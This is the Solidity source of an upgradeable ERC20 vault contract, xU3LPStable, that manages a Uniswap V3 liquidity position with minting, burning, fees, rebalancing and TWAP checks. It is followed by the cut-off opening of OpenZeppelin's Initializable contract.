import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol";
import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
import "./libraries/ABDKMath64x64.sol";
import "./libraries/Utils.sol";
import "./BlockLock.sol";
contract xU3LPStable is
Initializable,
ERC20Upgradeable,
OwnableUpgradeable,
PausableUpgradeable,
BlockLock
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private constant LIQUIDATION_TIME_PERIOD = 4 weeks;
uint256 private constant INITIAL_SUPPLY_MULTIPLIER = 1;
uint256 private constant BUFFER_TARGET = 20; // 5% target
uint256 private constant SWAP_SLIPPAGE = 100; // 1%
uint256 private constant MINT_BURN_SLIPPAGE = 100; // 1%
uint24 private constant POOL_FEE = 500;
// Used to give an identical token representation
uint8 private constant TOKEN_DECIMAL_REPRESENTATION = 18;
int24 tickLower;
int24 tickUpper;
// Prices calculated using above ticks from TickMath.getSqrtRatioAtTick()
uint160 priceLower;
uint160 priceUpper;
int128 lastTwap; // Last stored oracle twap
// Max current twap vs last twap deviation percentage divisor (100 = 1%)
uint256 maxTwapDeviationDivisor;
IERC20 token0;
IERC20 token1;
IUniswapV3Pool pool;
ISwapRouter router;
INonfungiblePositionManager positionManager;
uint256 public adminActiveTimestamp;
uint256 public withdrawableToken0Fees;
uint256 public withdrawableToken1Fees;
uint256 public tokenId; // token id representing this uniswap position
uint256 public token0DecimalMultiplier; // 10 ** (18 - token0 decimals)
uint256 public token1DecimalMultiplier; // 10 ** (18 - token1 decimals)
uint256 public tokenDiffDecimalMultiplier; // 10 ** (token0 decimals - token1 decimals)
uint8 public token0Decimals;
uint8 public token1Decimals;
address private manager;
address private manager2;
struct FeeDivisors {
uint256 mintFee;
uint256 burnFee;
uint256 claimFee;
}
FeeDivisors public feeDivisors;
uint32 twapPeriod;
event Rebalance();
event PositionInitialized(int24 tickLower, int24 tickUpper);
event PositionMigrated(int24 tickLower, int24 tickUpper);
event FeeDivisorsSet(uint256 mintFee, uint256 burnFee, uint256 claimFee);
event FeeWithdraw(uint256 token0Fee, uint256 token1Fee);
function initialize(
string memory _symbol,
int24 _tickLower,
int24 _tickUpper,
IERC20 _token0,
IERC20 _token1,
IUniswapV3Pool _pool,
ISwapRouter _router,
INonfungiblePositionManager _positionManager,
FeeDivisors memory _feeDivisors,
uint256 _maxTwapDeviationDivisor,
uint8 _token0Decimals,
uint8 _token1Decimals
) external initializer {
__Context_init_unchained();
__Ownable_init_unchained();
__Pausable_init_unchained();
__ERC20_init_unchained("xU3LP", _symbol);
tickLower = _tickLower;
tickUpper = _tickUpper;
priceLower = TickMath.getSqrtRatioAtTick(_tickLower);
priceUpper = TickMath.getSqrtRatioAtTick(_tickUpper);
if (_token0 > _token1) {
token0 = _token1;
token1 = _token0;
token0Decimals = _token1Decimals;
token1Decimals = _token0Decimals;
} else {
token0 = _token0;
token1 = _token1;
token0Decimals = _token0Decimals;
token1Decimals = _token1Decimals;
}
token0DecimalMultiplier =
10**(TOKEN_DECIMAL_REPRESENTATION - token0Decimals);
token1DecimalMultiplier =
10**(TOKEN_DECIMAL_REPRESENTATION - token1Decimals);
tokenDiffDecimalMultiplier =
10**((Utils.subAbs(token0Decimals, token1Decimals)));
maxTwapDeviationDivisor = _maxTwapDeviationDivisor;
pool = _pool;
router = _router;
positionManager = _positionManager;
token0.safeIncreaseAllowance(address(router), type(uint256).max);
token1.safeIncreaseAllowance(address(router), type(uint256).max);
token0.safeIncreaseAllowance(
address(positionManager),
type(uint256).max
);
token1.safeIncreaseAllowance(
address(positionManager),
type(uint256).max
);
lastTwap = getAsset0Price();
_setFeeDivisors(_feeDivisors);
}
/* ========================================================================================= */
/* User-facing */
/* ========================================================================================= */
/**
* @dev Mint xU3LP tokens by sending *amount* of *inputAsset* tokens
*/
function mintWithToken(uint8 inputAsset, uint256 amount)
external
notLocked(msg.sender)
whenNotPaused()
{
require(amount > 0);
lock(msg.sender);
checkTwap();
if (inputAsset == 0) {
token0.safeTransferFrom(msg.sender, address(this), amount);
amount = getAmountInAsset1Terms(amount);
uint256 fee = Utils.calculateFee(amount, feeDivisors.mintFee);
_incrementWithdrawableToken0Fees(fee);
_mintInternal(getToken0AmountInWei(amount.sub(fee)));
} else {
token1.safeTransferFrom(msg.sender, address(this), amount);
amount = getAmountInAsset0Terms(amount);
uint256 fee = Utils.calculateFee(amount, feeDivisors.mintFee);
_incrementWithdrawableToken1Fees(fee);
_mintInternal(getToken1AmountInWei(amount.sub(fee)));
}
}
/**
* @dev Burn *amount* of xU3LP tokens to receive proportional
* amount of *outputAsset* tokens
*/
function burn(uint8 outputAsset, uint256 amount)
external
notLocked(msg.sender)
{
require(amount > 0);
lock(msg.sender);
checkTwap();
uint256 bufferBalance = getBufferBalance();
uint256 totalBalance = bufferBalance.add(getStakedBalance());
uint256 proRataBalance;
if (outputAsset == 0) {
proRataBalance = (totalBalance.mul(getAmountInAsset0Terms(amount)))
.div(totalSupply());
} else {
proRataBalance = (
totalBalance.mul(getAmountInAsset1Terms(amount)).div(
totalSupply()
)
);
}
// Add swap slippage to the calculations
uint256 proRataBalanceWithSlippage =
proRataBalance.add(proRataBalance.div(SWAP_SLIPPAGE));
require(
proRataBalanceWithSlippage <= bufferBalance,
"Insufficient exit liquidity"
);
super._burn(msg.sender, amount);
// Fee is in wei (18 decimals, so doesn't need to be normalized)
uint256 fee = Utils.calculateFee(proRataBalance, feeDivisors.burnFee);
if (outputAsset == 0) {
withdrawableToken0Fees = withdrawableToken0Fees.add(fee);
} else {
withdrawableToken1Fees = withdrawableToken1Fees.add(fee);
}
uint256 transferAmount = proRataBalance.sub(fee);
transferOnBurn(outputAsset, transferAmount);
}
function transfer(address recipient, uint256 amount)
public
override
notLocked(msg.sender)
returns (bool)
{
return super.transfer(recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override notLocked(sender) returns (bool) {
return super.transferFrom(sender, recipient, amount);
}
// Get net asset value
function getNav() public view returns (uint256) {
return getStakedBalance().add(getBufferBalance());
}
// Get asset 1 twap
function getAsset1Price() public view returns (int128) {
return ABDKMath64x64.inv(getAsset0Price());
}
// Returns amount in terms of asset0
function getAmountInAsset0Terms(uint256 amount)
public
view
returns (uint256)
{
return ABDKMath64x64.mulu(getAsset1Price(), amount);
}
// Returns amount in terms of asset1
function getAmountInAsset1Terms(uint256 amount)
public
view
returns (uint256)
{
return ABDKMath64x64.mulu(getAsset0Price(), amount);
}
// Get total balance in the position
function getStakedBalance() public view returns (uint256) {
(uint256 amount0, uint256 amount1) = getStakedTokenBalance();
return getAmountInAsset1Terms(amount0).add(getAmountInAsset0Terms(amount1));
}
// Get balance in xU3LP contract
function getBufferBalance() public view returns (uint256) {
(uint256 balance0, uint256 balance1) = getBufferTokenBalance();
return getAmountInAsset1Terms(balance0).add(getAmountInAsset0Terms(balance1));
}
// Get token balances in xU3LP contract
function getBufferTokenBalance()
public
view
returns (uint256 amount0, uint256 amount1)
{
return (getBufferToken0Balance(), getBufferToken1Balance());
}
function getBufferToken0Balance() public view returns (uint256 amount0) {
uint256 balance0 =
getToken0AmountInWei(token0.balanceOf(address(this)));
return Utils.sub0(balance0, withdrawableToken0Fees);
}
function getBufferToken1Balance() public view returns (uint256 amount1) {
uint256 balance1 =
getToken1AmountInWei(token1.balanceOf(address(this)));
return Utils.sub0(balance1, withdrawableToken1Fees);
}
// Get token balances in the position
function getStakedTokenBalance()
public
view
returns (uint256 amount0, uint256 amount1)
{
(amount0, amount1) = getAmountsForLiquidity(getPositionLiquidity());
amount0 = getToken0AmountInWei(amount0);
amount1 = getToken1AmountInWei(amount1);
}
// Get wanted xU3LP contract token balance - 5% of NAV
function getTargetBufferTokenBalance()
public
view
returns (uint256 amount0, uint256 amount1)
{
(uint256 bufferAmount0, uint256 bufferAmount1) =
getBufferTokenBalance();
(uint256 poolAmount0, uint256 poolAmount1) = getStakedTokenBalance();
amount0 = bufferAmount0.add(poolAmount0).div(BUFFER_TARGET);
amount1 = bufferAmount1.add(poolAmount1).div(BUFFER_TARGET);
// Keep 50:50 ratio
amount0 = amount0.add(amount1).div(2);
amount1 = amount0;
}
// Check how much xU3LP tokens will be minted
function calculateMintAmount(uint256 _amount, uint256 totalSupply)
public
view
returns (uint256 mintAmount)
{
if (totalSupply == 0) return _amount.mul(INITIAL_SUPPLY_MULTIPLIER);
uint256 previousNav = getNav().sub(_amount);
mintAmount = (_amount).mul(totalSupply).div(previousNav);
return mintAmount;
}
/* ========================================================================================= */
/* Management */
/* ========================================================================================= */
function rebalance() external onlyOwnerOrManager {
_collect();
_rebalance();
_certifyAdmin();
}
function _rebalance() private {
_provideOrRemoveLiquidity();
emit Rebalance();
}
function _provideOrRemoveLiquidity() private {
checkTwap();
(uint256 bufferToken0Balance, uint256 bufferToken1Balance) =
getBufferTokenBalance();
(uint256 targetToken0Balance, uint256 targetToken1Balance) =
getTargetBufferTokenBalance();
uint256 bufferBalance = bufferToken0Balance.add(bufferToken1Balance);
uint256 targetBalance = targetToken0Balance.add(targetToken1Balance);
uint256 _amount0 =
Utils.subAbs(bufferToken0Balance, targetToken0Balance);
uint256 _amount1 =
Utils.subAbs(bufferToken1Balance, targetToken1Balance);
_amount0 = getToken0AmountInNativeDecimals(_amount0);
_amount1 = getToken1AmountInNativeDecimals(_amount1);
(uint256 amount0, uint256 amount1) =
checkIfAmountsMatchAndSwap(_amount0, _amount1);
if (amount0 == 0 || amount1 == 0) {
return;
}
if (bufferBalance > targetBalance) {
_stake(amount0, amount1);
} else if (bufferBalance < targetBalance) {
_unstake(amount0, amount1);
}
}
function _stake(uint256 amount0, uint256 amount1) private {
positionManager.increaseLiquidity(
INonfungiblePositionManager.IncreaseLiquidityParams({
tokenId: tokenId,
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)),
amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)),
deadline: block.timestamp
})
);
}
function _unstake(uint256 amount0, uint256 amount1) private {
uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1);
(uint256 _amount0, uint256 _amount1) = unstakePosition(liquidityAmount);
collectPosition(uint128(_amount0), uint128(_amount1));
}
// Collect fees
function _collect() public onlyOwnerOrManager {
(uint256 collected0, uint256 collected1) =
collectPosition(type(uint128).max, type(uint128).max);
uint256 fee0 = Utils.calculateFee(collected0, feeDivisors.claimFee);
uint256 fee1 = Utils.calculateFee(collected1, feeDivisors.claimFee);
_incrementWithdrawableToken0Fees(fee0);
_incrementWithdrawableToken1Fees(fee1);
}
/**
* Check if token amounts match before attempting mint() or burn()
* Uniswap contract requires deposits at a precise token ratio
* If they don't match, swap the tokens so as to deposit as much as possible
*/
function checkIfAmountsMatchAndSwap(
uint256 amount0ToMint,
uint256 amount1ToMint
) private returns (uint256 amount0, uint256 amount1) {
(uint256 amount0Minted, uint256 amount1Minted) =
calculatePoolMintedAmounts(amount0ToMint, amount1ToMint);
if (
amount0Minted <
amount0ToMint.sub(amount0ToMint.div(MINT_BURN_SLIPPAGE)) ||
amount1Minted <
amount1ToMint.sub(amount1ToMint.div(MINT_BURN_SLIPPAGE))
) {
// calculate liquidity ratio
uint256 mintLiquidity =
getLiquidityForAmounts(amount0ToMint, amount1ToMint);
uint256 poolLiquidity = getPoolLiquidity();
int128 liquidityRatio =
poolLiquidity == 0
? 0
: int128(ABDKMath64x64.divuu(mintLiquidity, poolLiquidity));
(amount0, amount1) = restoreTokenRatios(
amount0ToMint,
amount1ToMint,
amount0Minted,
amount1Minted,
liquidityRatio
);
} else {
(amount0, amount1) = (amount0ToMint, amount1ToMint);
}
}
// Migrate the current position to a new position with different ticks
function migratePosition(int24 newTickLower, int24 newTickUpper)
external
onlyOwnerOrManager
{
require(newTickLower != tickLower || newTickUpper != tickUpper);
// withdraw entire liquidity from the position
(uint256 _amount0, uint256 _amount1) = withdrawAll();
// burn current position NFT
positionManager.burn(tokenId);
tokenId = 0;
// set new ticks and prices
tickLower = newTickLower;
tickUpper = newTickUpper;
priceLower = TickMath.getSqrtRatioAtTick(newTickLower);
priceUpper = TickMath.getSqrtRatioAtTick(newTickUpper);
// if amounts don't add up when minting, swap tokens
(uint256 amount0, uint256 amount1) =
checkIfAmountsMatchAndSwap(_amount0, _amount1);
// mint the position NFT and deposit the liquidity
// set new NFT token id
tokenId = createPosition(amount0, amount1);
emit PositionMigrated(newTickLower, newTickUpper);
}
// Withdraws all current liquidity from the position
function withdrawAll()
private
returns (uint256 _amount0, uint256 _amount1)
{
// Collect fees
_collect();
(_amount0, _amount1) = unstakePosition(getPositionLiquidity());
collectPosition(uint128(_amount0), uint128(_amount1));
}
/**
* Transfers asset amount when user calls burn()
* If there's not enough balance of that asset,
* triggers a router swap to increase the balance
* keep token ratio in xU3LP at 50:50 after swapping
*/
function transferOnBurn(uint8 outputAsset, uint256 transferAmount) private {
(uint256 balance0, uint256 balance1) = getBufferTokenBalance();
if (outputAsset == 0) {
if (balance0 < transferAmount) {
uint256 amountIn =
transferAmount.add(transferAmount.div(SWAP_SLIPPAGE)).sub(
balance0
);
uint256 amountOut = transferAmount.sub(balance0);
uint256 balanceFactor = Utils.sub0(balance1, amountOut).div(2);
amountIn = amountIn.add(balanceFactor);
amountOut = amountOut.add(balanceFactor);
swapToken1ForToken0(amountIn, amountOut);
}
transferAmount = getToken0AmountInNativeDecimals(transferAmount);
token0.safeTransfer(msg.sender, transferAmount);
} else {
if (balance1 < transferAmount) {
uint256 amountIn =
transferAmount.add(transferAmount.div(SWAP_SLIPPAGE)).sub(
balance1
);
uint256 amountOut = transferAmount.sub(balance1);
uint256 balanceFactor = Utils.sub0(balance0, amountOut).div(2);
amountIn = amountIn.add(balanceFactor);
amountOut = amountOut.add(balanceFactor);
swapToken0ForToken1(amountIn, amountOut);
}
transferAmount = getToken1AmountInNativeDecimals(transferAmount);
token1.safeTransfer(msg.sender, transferAmount);
}
}
/**
* Mint function which initializes the pool position
* Must be called before any liquidity can be deposited
*/
function mintInitial(uint256 amount0, uint256 amount1)
external
onlyOwnerOrManager
{
require(tokenId == 0);
require(amount0 > 0 || amount1 > 0);
checkTwap();
if (amount0 > 0) {
token0.safeTransferFrom(msg.sender, address(this), amount0);
}
if (amount1 > 0) {
token1.safeTransferFrom(msg.sender, address(this), amount1);
}
tokenId = createPosition(amount0, amount1);
amount0 = getToken0AmountInWei(amount0);
amount1 = getToken1AmountInWei(amount1);
_mintInternal(
getAmountInAsset1Terms(amount0).add(getAmountInAsset0Terms(amount1))
);
emit PositionInitialized(tickLower, tickUpper);
}
/**
* Creates the NFT token representing the pool position
*/
function createPosition(uint256 amount0, uint256 amount1)
private
returns (uint256 _tokenId)
{
(_tokenId, , , ) = positionManager.mint(
INonfungiblePositionManager.MintParams({
token0: address(token0),
token1: address(token1),
fee: POOL_FEE,
tickLower: tickLower,
tickUpper: tickUpper,
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)),
amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)),
recipient: address(this),
deadline: block.timestamp
})
);
}
/**
* @dev Unstakes a given amount of liquidity from the Uni V3 position
* @param liquidity amount of liquidity to unstake
* @return amount0 token0 amount unstaked
* @return amount1 token1 amount unstaked
*/
function unstakePosition(uint128 liquidity)
private
returns (uint256 amount0, uint256 amount1)
{
(uint256 _amount0, uint256 _amount1) =
getAmountsForLiquidity(liquidity);
(amount0, amount1) = positionManager.decreaseLiquidity(
INonfungiblePositionManager.DecreaseLiquidityParams({
tokenId: tokenId,
liquidity: liquidity,
amount0Min: _amount0.sub(_amount0.div(MINT_BURN_SLIPPAGE)),
amount1Min: _amount1.sub(_amount1.div(MINT_BURN_SLIPPAGE)),
deadline: block.timestamp
})
);
}
/*
* @notice Registers that admin is present and active
* @notice If admin isn't certified within liquidation time period,
* emergencyUnstake function becomes callable
*/
function _certifyAdmin() private {
adminActiveTimestamp = block.timestamp;
}
/*
* @dev Public callable function for unstaking in event of admin failure/incapacitation
*/
function emergencyUnstake(uint256 _amount0, uint256 _amount1) external {
require(
adminActiveTimestamp.add(LIQUIDATION_TIME_PERIOD) < block.timestamp
);
_unstake(_amount0, _amount1);
}
function _mintInternal(uint256 _amount) private {
uint256 mintAmount = calculateMintAmount(_amount, totalSupply());
return super._mint(msg.sender, mintAmount);
}
function _incrementWithdrawableToken0Fees(uint256 _feeAmount) private {
withdrawableToken0Fees = withdrawableToken0Fees.add(
getToken0AmountInWei(_feeAmount)
);
}
function _incrementWithdrawableToken1Fees(uint256 _feeAmount) private {
withdrawableToken1Fees = withdrawableToken1Fees.add(
getToken1AmountInWei(_feeAmount)
);
}
/*
* @notice Inverse of fee i.e., a fee divisor of 100 == 1%
* @notice Three fee types
* @dev Mint fee 0 or <= 1%
* @dev Burn fee 0 or <= 1%
* @dev Claim fee 0 <= 4%
*/
function setFeeDivisors(FeeDivisors memory _feeDivisors)
external
onlyOwnerOrManager
{
_setFeeDivisors(_feeDivisors);
}
function _setFeeDivisors(FeeDivisors memory _feeDivisors) private {
require(_feeDivisors.mintFee == 0 || _feeDivisors.mintFee >= 100);
require(_feeDivisors.burnFee == 0 || _feeDivisors.burnFee >= 100);
require(_feeDivisors.claimFee == 0 || _feeDivisors.claimFee >= 25);
feeDivisors.mintFee = _feeDivisors.mintFee;
feeDivisors.burnFee = _feeDivisors.burnFee;
feeDivisors.claimFee = _feeDivisors.claimFee;
emit FeeDivisorsSet(
feeDivisors.mintFee,
feeDivisors.burnFee,
feeDivisors.claimFee
);
}
/*
* Emergency function in case of errant transfer
* of any token directly to contract
*/
function withdrawToken(address token, address receiver)
external
onlyOwnerOrManager
{
require(token != address(token0) && token != address(token1));
uint256 tokenBal = IERC20(address(token)).balanceOf(address(this));
if (tokenBal > 0) {
IERC20(address(token)).safeTransfer(receiver, tokenBal);
}
}
/*
* Withdraw function for token0 and token1 fees
*/
function withdrawFees() external onlyOwnerOrManager {
uint256 token0Fees =
getToken0AmountInNativeDecimals(withdrawableToken0Fees);
uint256 token1Fees =
getToken1AmountInNativeDecimals(withdrawableToken1Fees);
if (token0Fees > 0) {
token0.safeTransfer(msg.sender, token0Fees);
withdrawableToken0Fees = 0;
}
if (token1Fees > 0) {
token1.safeTransfer(msg.sender, token1Fees);
withdrawableToken1Fees = 0;
}
emit FeeWithdraw(token0Fees, token1Fees);
}
/*
* Admin function for staking beyond the scope of a rebalance
*/
function adminStake(uint256 amount0, uint256 amount1)
external
onlyOwnerOrManager
{
_stake(amount0, amount1);
}
/*
* Admin function for unstaking beyond the scope of a rebalance
*/
function adminUnstake(uint256 amount0, uint256 amount1)
external
onlyOwnerOrManager
{
_unstake(amount0, amount1);
}
/*
* Admin function for swapping LP tokens in xU3LP
* @param amount - how much to swap
* @param _0for1 - swap token 0 for 1 if true, token 1 for 0 if false
*/
function adminSwap(uint256 amount, bool _0for1)
external
onlyOwnerOrManager
{
if (_0for1) {
swapToken0ForToken1(amount.add(amount.div(SWAP_SLIPPAGE)), amount);
} else {
swapToken1ForToken0(amount.add(amount.div(SWAP_SLIPPAGE)), amount);
}
}
function pauseContract() external onlyOwnerOrManager returns (bool) {
_pause();
return true;
}
function unpauseContract() external onlyOwnerOrManager returns (bool) {
_unpause();
return true;
}
function setManager(address _manager) external onlyOwner {
manager = _manager;
}
function setManager2(address _manager2) external onlyOwner {
manager2 = _manager2;
}
modifier onlyOwnerOrManager {
require(
msg.sender == owner() ||
msg.sender == manager ||
msg.sender == manager2
);
_;
}
/* ========================================================================================= */
/* Uniswap helpers */
/* ========================================================================================= */
function swapToken0ForToken1(uint256 amountIn, uint256 amountOut) private {
amountIn = getToken0AmountInNativeDecimals(amountIn);
amountOut = getToken1AmountInNativeDecimals(amountOut);
router.exactOutputSingle(
ISwapRouter.ExactOutputSingleParams({
tokenIn: address(token0),
tokenOut: address(token1),
fee: POOL_FEE,
recipient: address(this),
deadline: block.timestamp,
amountOut: amountOut,
amountInMaximum: amountIn,
sqrtPriceLimitX96: TickMath.MIN_SQRT_RATIO + 1
})
);
}
function swapToken1ForToken0(uint256 amountIn, uint256 amountOut) private {
amountIn = getToken1AmountInNativeDecimals(amountIn);
amountOut = getToken0AmountInNativeDecimals(amountOut);
router.exactOutputSingle(
ISwapRouter.ExactOutputSingleParams({
tokenIn: address(token1),
tokenOut: address(token0),
fee: POOL_FEE,
recipient: address(this),
deadline: block.timestamp,
amountOut: amountOut,
amountInMaximum: amountIn,
sqrtPriceLimitX96: TickMath.MAX_SQRT_RATIO - 1
})
);
}
/**
* Swap tokens in xU3LP so as to keep a ratio which is required for
* depositing/withdrawing liquidity from the pool
*/
function restoreTokenRatios(
uint256 amount0ToMint,
uint256 amount1ToMint,
uint256 amount0Minted,
uint256 amount1Minted,
int128 liquidityRatio
) private returns (uint256 amount0, uint256 amount1) {
// after normalization, returned swap amount will be in wei representation
uint256 swapAmount =
Utils.calculateSwapAmount(
getToken0AmountInWei(amount0ToMint),
getToken1AmountInWei(amount1ToMint),
getToken0AmountInWei(amount0Minted),
getToken1AmountInWei(amount1Minted),
liquidityRatio
);
if (swapAmount == 0) {
return (amount0ToMint, amount1ToMint);
}
uint256 swapAmountWithSlippage =
swapAmount.add(swapAmount.div(SWAP_SLIPPAGE));
uint256 mul1 = amount0ToMint.mul(amount1Minted);
uint256 mul2 = amount1ToMint.mul(amount0Minted);
(uint256 balance0, uint256 balance1) = getBufferTokenBalance();
if (mul1 > mul2) {
if (balance0 < swapAmountWithSlippage) {
// withdraw enough balance to swap
withdrawSingleToken(true, swapAmountWithSlippage);
// balances are not the same as before, so go back to rebalancing
_provideOrRemoveLiquidity();
return (0, 0);
}
// Swap tokens
swapToken0ForToken1(swapAmountWithSlippage, swapAmount);
amount0 = amount0ToMint.sub(
getToken0AmountInNativeDecimals(swapAmount)
);
amount1 = amount1ToMint.add(
getToken1AmountInNativeDecimals(swapAmount)
);
} else if (mul1 < mul2) {
if (balance1 < swapAmountWithSlippage) {
// withdraw enough balance to swap
withdrawSingleToken(false, swapAmountWithSlippage);
// balances are not the same as before, so go back to rebalancing
_provideOrRemoveLiquidity();
return (0, 0);
}
// Swap tokens
swapToken1ForToken0(swapAmountWithSlippage, swapAmount);
amount0 = amount0ToMint.add(
getToken0AmountInNativeDecimals(swapAmount)
);
amount1 = amount1ToMint.sub(
getToken1AmountInNativeDecimals(swapAmount)
);
}
}
/**
* @dev Withdraw until token0 or token1 balance reaches amount
* @param forToken0 withdraw balance for token0 (true) or token1 (false)
* @param amount minimum amount we want to have in token0 or token1
*/
function withdrawSingleToken(bool forToken0, uint256 amount) private {
uint256 balance;
uint256 unstakeAmount0;
uint256 unstakeAmount1;
uint256 swapAmount;
do {
// calculate how much we can withdraw
(unstakeAmount0, unstakeAmount1) = calculatePoolMintedAmounts(
getToken0AmountInNativeDecimals(amount),
getToken1AmountInNativeDecimals(amount)
);
// withdraw both tokens
_unstake(unstakeAmount0, unstakeAmount1);
// swap the excess amount of token0 for token1 or vice-versa
swapAmount = forToken0
? getToken1AmountInWei(unstakeAmount1)
: getToken0AmountInWei(unstakeAmount0);
forToken0
? swapToken1ForToken0(
swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)),
swapAmount
)
: swapToken0ForToken1(
swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)),
swapAmount
);
balance = forToken0
? getBufferToken0Balance()
: getBufferToken1Balance();
} while (balance < amount);
}
// Returns the current liquidity in the position
function getPositionLiquidity() private view returns (uint128 liquidity) {
(, , , , , , , liquidity, , , , ) = positionManager.positions(tokenId);
}
// Returns the current pool price
function getPoolPrice() private view returns (uint160) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return sqrtRatioX96;
}
// Returns the current pool liquidity
function getPoolLiquidity() private view returns (uint128) {
return pool.liquidity();
}
// Returns the earliest oracle observation time
function getObservationTime() public view returns (uint32) {
(, , uint16 index, uint16 cardinality, , , ) = pool.slot0();
uint16 oldestObservationIndex = (index + 1) % cardinality;
(uint32 observationTime, , , bool initialized) =
pool.observations(oldestObservationIndex);
if (!initialized) (observationTime, , , ) = pool.observations(0);
return observationTime;
}
/**
* Get asset 0 twap
* Uses Uni V3 oracle, reading the TWAP from twap period
* or the earliest oracle observation time if twap period is not set
*/
function getAsset0Price() public view returns (int128) {
uint32[] memory secondsArray = new uint32[](2);
// get earliest oracle observation time
uint32 observationTime = getObservationTime();
uint32 currTimestamp = uint32(block.timestamp);
uint32 earliestObservationSecondsAgo = currTimestamp - observationTime;
if (
twapPeriod == 0 ||
!Utils.lte(
currTimestamp,
observationTime,
currTimestamp - twapPeriod
)
) {
// set to earliest observation time if:
// a) twap period is 0 (not set)
// b) now - twap period is before earliest observation
secondsArray[0] = earliestObservationSecondsAgo;
} else {
secondsArray[0] = twapPeriod;
}
secondsArray[1] = 0;
(int56[] memory prices, ) = pool.observe(secondsArray);
int128 twap = Utils.getTWAP(prices, secondsArray[0]);
if (token1Decimals > token0Decimals) {
// divide twap by token decimal difference
twap = ABDKMath64x64.mul(
twap,
ABDKMath64x64.divu(1, tokenDiffDecimalMultiplier)
);
} else if (token0Decimals > token1Decimals) {
// multiply twap by token decimal difference
int128 multiplierFixed =
ABDKMath64x64.fromUInt(tokenDiffDecimalMultiplier);
twap = ABDKMath64x64.mul(twap, multiplierFixed);
}
return twap;
}
/**
* Checks if twap deviates too much from the previous twap
*/
function checkTwap() private {
int128 twap = getAsset0Price();
int128 _lastTwap = lastTwap;
int128 deviation =
_lastTwap > twap ? _lastTwap - twap : twap - _lastTwap;
int128 maxDeviation =
ABDKMath64x64.mul(
twap,
ABDKMath64x64.divu(1, maxTwapDeviationDivisor)
);
require(deviation <= maxDeviation, "Wrong twap");
lastTwap = twap;
}
/**
* Reset last twap if oracle price is consistently above the max deviation
* Requires twap to be above max deviation to execute
*/
function resetTwap() external onlyOwnerOrManager {
lastTwap = getAsset0Price();
}
/**
* Set the max twap deviation divisor
*/
function setMaxTwapDeviationDivisor(uint256 newDeviationDivisor)
external
onlyOwnerOrManager
{
maxTwapDeviationDivisor = newDeviationDivisor;
}
/**
* Set the oracle reading twap period
*/
function setTwapPeriod(uint32 newPeriod) external onlyOwnerOrManager {
require(newPeriod >= 360);
twapPeriod = newPeriod;
}
/**
* Collect token amounts from pool position
*/
function collectPosition(uint128 amount0, uint128 amount1)
private
returns (uint256 collected0, uint256 collected1)
{
(collected0, collected1) = positionManager.collect(
INonfungiblePositionManager.CollectParams({
tokenId: tokenId,
recipient: address(this),
amount0Max: amount0,
amount1Max: amount1
})
);
}
/**
* Calculates the amounts deposited/withdrawn from the pool
* amount0, amount1 - amounts to deposit/withdraw
* amount0Minted, amount1Minted - actual amounts which can be deposited
*/
function calculatePoolMintedAmounts(uint256 amount0, uint256 amount1)
public
view
returns (uint256 amount0Minted, uint256 amount1Minted)
{
uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1);
(amount0Minted, amount1Minted) = getAmountsForLiquidity(
liquidityAmount
);
}
function getAmountsForLiquidity(uint128 liquidity)
private
view
returns (uint256 amount0, uint256 amount1)
{
(amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(
getPoolPrice(),
priceLower,
priceUpper,
liquidity
);
}
function getLiquidityForAmounts(uint256 amount0, uint256 amount1)
private
view
returns (uint128 liquidity)
{
liquidity = LiquidityAmounts.getLiquidityForAmounts(
getPoolPrice(),
priceLower,
priceUpper,
amount0,
amount1
);
}
/**
* Get lower and upper ticks of the pool position
*/
function getTicks() external view returns (int24 tick0, int24 tick1) {
return (tickLower, tickUpper);
}
/**
* Returns token0 amount in TOKEN_DECIMAL_REPRESENTATION
*/
function getToken0AmountInWei(uint256 amount)
private
view
returns (uint256)
{
if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.mul(token0DecimalMultiplier);
}
return amount;
}
/**
* Returns token1 amount in TOKEN_DECIMAL_REPRESENTATION
*/
function getToken1AmountInWei(uint256 amount)
private
view
returns (uint256)
{
if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.mul(token1DecimalMultiplier);
}
return amount;
}
/**
* Returns token0 amount in token0Decimals
*/
function getToken0AmountInNativeDecimals(uint256 amount)
private
view
returns (uint256)
{
if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.div(token0DecimalMultiplier);
}
return amount;
}
/**
* Returns token1 amount in token1Decimals
*/
function getToken1AmountInNativeDecimals(uint256 amount)
private
view
returns (uint256)
{
if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.div(token1DecimalMultiplier);
}
return amount;
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
